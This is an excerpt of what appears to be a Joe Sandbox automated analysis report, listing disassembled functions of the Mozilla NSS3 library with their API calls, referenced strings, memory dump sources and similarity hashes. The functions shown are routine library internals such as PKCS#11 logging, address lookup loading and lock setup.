PL_FinishArenaPool.NSS3(?), ref: 6CE88FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CE88FFE
PR_CallOnce.NSS3(6CFE2AA4,6CEE12D0), ref: 6CE89012
PL_FreeArenaPool.NSS3(?), ref: 6CE89024
PL_FinishArenaPool.NSS3(?), ref: 6CE8902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CE8903E

Strings

security, xrefs: 6CE88EE7

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 7831f3abdbe54900ee7ad5030026a831a9294205d3d93abe42b12a73daeaff0a
Instruction ID: a7cfb2da81117ee02f23c7b8deb80782a4f01e38a387b45448211f0715ff78c2
Opcode Fuzzy Hash: 7831f3abdbe54900ee7ad5030026a831a9294205d3d93abe42b12a73daeaff0a
Instruction Fuzzy Hash: 18513DB1909300ABD7209A549C41FAB77F8AF8A75CF64082EFD4997B41E731D909C763

Function 6CEB4E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6CEB4E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB4EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB4EC7

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB4EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CEB4F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB4F1A
PR_LogPrint.NSS3(?,00000000), ref: 6CEB4F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6CEB4F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6CEB4F68

Strings

pTemplate = 0x%p, xrefs: 6CEB4F4A
C_GetAttributeValue, xrefs: 6CEB4E7E
hObject = 0x%x, xrefs: 6CEB4EF5, 6CEB4F05
ulCount = %d, xrefs: 6CEB4F63
(CK_INVALID_HANDLE), xrefs: 6CEB4EC0, 6CEB4F13
hSession = 0x%x, xrefs: 6CEB4EA2, 6CEB4EB2

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: 243c00df06cfebf5c005dfd6b1f2ea9cffe43736399bfed67890f2d32c91c279
Instruction ID: a0b30d67a859f4f175f9324a72e27d9816cd9a8a62062eb02b56ef823b37f58f
Opcode Fuzzy Hash: 243c00df06cfebf5c005dfd6b1f2ea9cffe43736399bfed67890f2d32c91c279
Instruction Fuzzy Hash: C9411631A01104FFEB40DF54DE49FAA77B5AB4630DF154429F5086B711DB359E09CBA1

Function 6CEB4CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6CEB4CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB4D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB4D37

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB4D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CEB4D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB4D8A
PR_LogPrint.NSS3(?,00000000), ref: 6CEB4DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6CEB4DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6CEB4E20

Strings

hObject = 0x%x, xrefs: 6CEB4D65, 6CEB4D75
*pulSize = 0x%x, xrefs: 6CEB4E1B
pulSize = 0x%p, xrefs: 6CEB4DB7
(CK_INVALID_HANDLE), xrefs: 6CEB4D30, 6CEB4D83
hSession = 0x%x, xrefs: 6CEB4D12, 6CEB4D22
C_GetObjectSize, xrefs: 6CEB4CEE

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: f60a5572bf8435ac1cf076d0e239487e0ddd964e027452eb874ecd633946064e
Instruction ID: 67dddd8c433bbd78cdd6f15dfa5735175237064c14347dc6e99860f1dc5553c5
Opcode Fuzzy Hash: f60a5572bf8435ac1cf076d0e239487e0ddd964e027452eb874ecd633946064e
Instruction Fuzzy Hash: 2A41F671A00105FFEB849F50DE88B6A77B5EB4A30DF15442AF5087B712EB369D09CB61

Function 6CEB7C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6CEB7CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB7CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB7CF3

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB7D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEB7D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEB7D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CEB7D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6CEB7D77

Strings

ulDataLen = %d, xrefs: 6CEB7D40
pData = 0x%p, xrefs: 6CEB7D25
ulSignatureLen = %d, xrefs: 6CEB7D72
pSignature = 0x%p, xrefs: 6CEB7D59
(CK_INVALID_HANDLE), xrefs: 6CEB7CEC
hSession = 0x%x, xrefs: 6CEB7CCE, 6CEB7CDE
C_Verify, xrefs: 6CEB7CB1

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: 767767e0f3c6f12cad9c80790194877c5b236fe3aa6aab9d828af23b28f320e1
Instruction ID: 9816063c367cd72353d12dd031856aca1d13ef8415c6e5b8c08c799113e2e123
Opcode Fuzzy Hash: 767767e0f3c6f12cad9c80790194877c5b236fe3aa6aab9d828af23b28f320e1
Instruction Fuzzy Hash: FB311531A00109FFDB84DF64DE48F6A7BB1AB4A30CF194428F50867B11DB329909CBB1

Function 6CEB2F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6CEB2F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEB2F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEB2F63

Part of subcall function 6CF9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEB2F79
PR_LogPrint.NSS3( pOldPin = 0x%p,?), ref: 6CEB2F9A
PR_LogPrint.NSS3( ulOldLen = %d,?), ref: 6CEB2FB5
PR_LogPrint.NSS3( pNewPin = 0x%p,?), ref: 6CEB2FCE
PR_LogPrint.NSS3( ulNewLen = %d,?), ref: 6CEB2FE7

Strings

C_SetPIN, xrefs: 6CEB2F21
ulNewLen = %d, xrefs: 6CEB2FE2
pNewPin = 0x%p, xrefs: 6CEB2FC9
pOldPin = 0x%p, xrefs: 6CEB2F95
ulOldLen = %d, xrefs: 6CEB2FB0
(CK_INVALID_HANDLE), xrefs: 6CEB2F5C
hSession = 0x%x, xrefs: 6CEB2F3E, 6CEB2F4E

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pNewPin = 0x%p$ pOldPin = 0x%p$ ulNewLen = %d$ ulOldLen = %d$ (CK_INVALID_HANDLE)$C_SetPIN
API String ID: 1003633598-3716813897
Opcode ID: 966a0c3fd94b8ff342f339ef3d794e604bd3e4c2ea8903496ea7ac8e9a1207fa
Instruction ID: c2ee09617014792d390ef65541281191c4814193d033053369d471787dda2ae5
Opcode Fuzzy Hash: 966a0c3fd94b8ff342f339ef3d794e604bd3e4c2ea8903496ea7ac8e9a1207fa
Instruction Fuzzy Hash: 9C31D035A01145BFDB849B54DE4DF6A7BB1AF4A319F194018F808B7712EB329908CBA1

Function 6CF4CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF4CC7B), ref: 6CF4CD7A

Part of subcall function 6CF4CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CEBC1A8,?), ref: 6CF4CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF4CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF4CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6CF4CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF4CD8E

Part of subcall function 6CE705C0: PR_EnterMonitor.NSS3 ref: 6CE705D1
Part of subcall function 6CE705C0: PR_ExitMonitor.NSS3 ref: 6CE705EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6CF4CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF4CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF4CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF4CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6CF4CE48

Strings

getaddrinfo, xrefs: 6CF4CD88, 6CF4CDF9
ws2_32.dll, xrefs: 6CF4CD75
wship6.dll, xrefs: 6CF4CDE3
getnameinfo, xrefs: 6CF4CDB2, 6CF4CE23
freeaddrinfo, xrefs: 6CF4CD9F, 6CF4CE10

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 86b14ca1aec30b9d03ea11772a2aa21a7ffa2ca542fbf3d17eb6ba9ad6f5c544
Instruction ID: 697d1edfbd2a57854794416484d7a5a2474eb6ded47f5b7a58519f799cfa5291
Opcode Fuzzy Hash: 86b14ca1aec30b9d03ea11772a2aa21a7ffa2ca542fbf3d17eb6ba9ad6f5c544
Instruction Fuzzy Hash: ED11D6A5E1251222E7916B772C00B9B3C785B4210CF289938D815E5F43FB22CA4DC3F2

Function 6CF91C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6CF913BC,?,?,?,6CF91193), ref: 6CF91C6B
PR_NewLock.NSS3(?,6CF91193), ref: 6CF91C7E

Part of subcall function 6CF498D0: calloc.MOZGLUE(00000001,00000084,6CE70936,00000001,?,6CE7102C), ref: 6CF498E5

PR_NewCondVar.NSS3(00000000,?,6CF91193), ref: 6CF91C91

Part of subcall function 6CE6BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE721BC), ref: 6CE6BB8C

PR_NewCondVar.NSS3(00000000,?,?,6CF91193), ref: 6CF91CA7

Part of subcall function 6CE6BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE6BBEB
Part of subcall function 6CE6BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE6BBFB
Part of subcall function 6CE6BB80: GetLastError.KERNEL32 ref: 6CE6BC03
Part of subcall function 6CE6BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE6BC19
Part of subcall function 6CE6BB80: free.MOZGLUE(00000000), ref: 6CE6BC22

PR_NewCondVar.NSS3(00000000,?,?,?,6CF91193), ref: 6CF91CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6CF91193), ref: 6CF91CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6CF91193), ref: 6CF91CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6CF91193), ref: 6CF91D1A

Part of subcall function 6CF49BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE71A48), ref: 6CF49BB3
Part of subcall function 6CF49BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE71A48), ref: 6CF49BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6CF91193), ref: 6CF91D3D

Part of subcall function 6CF2DD70: TlsGetValue.KERNEL32 ref: 6CF2DD8C
Part of subcall function 6CF2DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF2DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6CF91193), ref: 6CF91D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6CF91193), ref: 6CF91D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6CF91193), ref: 6CF91D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6CF91193), ref: 6CF91D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6CF91193), ref: 6CF91D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6CF91193), ref: 6CF91D93
PR_DestroyLock.NSS3(00000000,?,?,6CF91193), ref: 6CF91D9F
free.MOZGLUE(00000000,?,6CF91193), ref: 6CF91DA8

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: a79ef0cf49be54ae78642fec753879bbdeeee8d682ab08e7961fc77e000ed988
Instruction ID: bc4a24bc0bb8d73a8a553911a9588b39f3ad135985329f1b3a9dcc6f1831d9c0
Opcode Fuzzy Hash: a79ef0cf49be54ae78642fec753879bbdeeee8d682ab08e7961fc77e000ed988
Instruction Fuzzy Hash: 0A31A2F1E106019BFB209F75AC01B977BB8AF0561CB148439E94A87B51FB31E518CBA2

Function 6CEA5E60 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 348COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEA5ECF
EnterCriticalSection.KERNEL32(?), ref: 6CEA5EE3
PR_Unlock.NSS3(?), ref: 6CEA5F0A
PK11_MakeIDFromPubKey.NSS3(00000014), ref: 6CEA5FB5

Strings

NSS_USE_DECODED_CKA_EC_POINT, xrefs: 6CEA61F4
S&l, xrefs: 6CEA5E6C, 6CEA627F, 6CEA5F12
S&l, xrefs: 6CEA62E3

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT$S&l$S&l
API String ID: 2280678669-148785157
Opcode ID: 2467b80fba857c30be6a757a3fb3d53ebd531b13caf7b931142ece3dc90c1784
Instruction ID: 6e92e5c0af72bfd82be0ae026dddcf4c11b94aaef474324906f5d34f48ee3830
Opcode Fuzzy Hash: 2467b80fba857c30be6a757a3fb3d53ebd531b13caf7b931142ece3dc90c1784
Instruction Fuzzy Hash: 50F106B5A012158FDB54CF68C884B86BBF4FF09308F6581AAD8089F746D774EA85CF91

Function 6CEF0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,l), ref: 6CEF0C81

Part of subcall function 6CEDBE30: SECOID_FindOID_Util.NSS3(6CE9311B,00000000,?,6CE9311B,?), ref: 6CEDBE44

Part of subcall function 6CEC8500: SECOID_GetAlgorithmTag_Util.NSS3(6CEC95DC,00000000,00000000,00000000,?,6CEC95DC,00000000,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEC8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEF0CC4

Part of subcall function 6CEDFAB0: free.MOZGLUE(?,-00000001,?,?,6CE7F673,00000000,00000000), ref: 6CEDFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEF0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CEF0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CEF0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CEF0D7D
free.MOZGLUE(00000000), ref: 6CEF0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEF0DC1
free.MOZGLUE(00000000), ref: 6CEF0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CEF0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CEF0E0F

Part of subcall function 6CEC95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEC95E0
Part of subcall function 6CEC95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CEA7F4A,00000000,?,00000000,00000000), ref: 6CEC95F5
Part of subcall function 6CEC95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CEC9609
Part of subcall function 6CEC95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEC961D
Part of subcall function 6CEC95C0: PK11_GetInternalSlot.NSS3 ref: 6CEC970B
Part of subcall function 6CEC95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CEC9756
Part of subcall function 6CEC95C0: PK11_GetIVLength.NSS3(?), ref: 6CEC9767
Part of subcall function 6CEC95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CEC977E
Part of subcall function 6CEC95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEC978E

Strings

*,l, xrefs: 6CEF0DCC
-$l, xrefs: 6CEF0C64
*,l, xrefs: 6CEF0C69, 6CEF0DE0, 6CEF0C80, 6CEF0C8B, 6CEF0CAF

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,l$*,l$-$l
API String ID: 3136566230-2303401061
Opcode ID: d7d472fde5cc138a443bb6c38390a36dff29b0caecd5682fd8345d62c0cbfefc
Instruction ID: 2f9ce01815237cb4ba67450d4a8771c60b340df0b6eae4b047bb5157d09f7650
Opcode Fuzzy Hash: d7d472fde5cc138a443bb6c38390a36dff29b0caecd5682fd8345d62c0cbfefc
Instruction Fuzzy Hash: 3B41C4B5E00246ABEB009F64DC45BAF7674AF4534CF244028ED256B741EB36AA15CBF2

Function 6CEE5CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6CEE5EC0,00000000,?,?), ref: 6CEE5CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6CEE5CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6CEE5CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6CEE5D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6CEE5EC0,00000000,?,?), ref: 6CEE5D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6CEE5D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEE5D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6CEE5D80

Strings

multiaccess:, xrefs: 6CEE5CB8
extern:, xrefs: 6CEE5CEA, 6CEE5D4B
dbm:, xrefs: 6CEE5D03, 6CEE5D60
sql:, xrefs: 6CEE5CD1, 6CEE5D36
NSS_DEFAULT_DB_TYPE, xrefs: 6CEE5D1A

Memory Dump Source

Source File: 00000000.00000002.1854244851.000000006CE01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CE00000, based on PE: true

Associated: 00000000.00000002.1854215322.000000006CE00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854435599.000000006CF9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854487549.000000006CFDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854520779.000000006CFDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854557017.000000006CFE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1854584970.000000006CFE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce00000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 4fe32d31e41698f6e280cdb60d461b61c56be0fb887b27becbec0b8dd4a6bd64
Instruction ID: b45aa46961758cae97358ab0a0d78b71f548631b1ec7c668f71ff9476240054f
Opcode Fuzzy Hash: 4fe32d31e41698f6e280cdb60d461b61c56be0fb887b27becbec0b8dd4a6bd64
Instruction Fuzzy Hash: C531E8E0B433435BE7411A249C4DB673779AF0A38CF340031EE55E6B82E772E915C656

Function 6CEE6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6CFB1DE0,?), ref: 6CEE6CFE
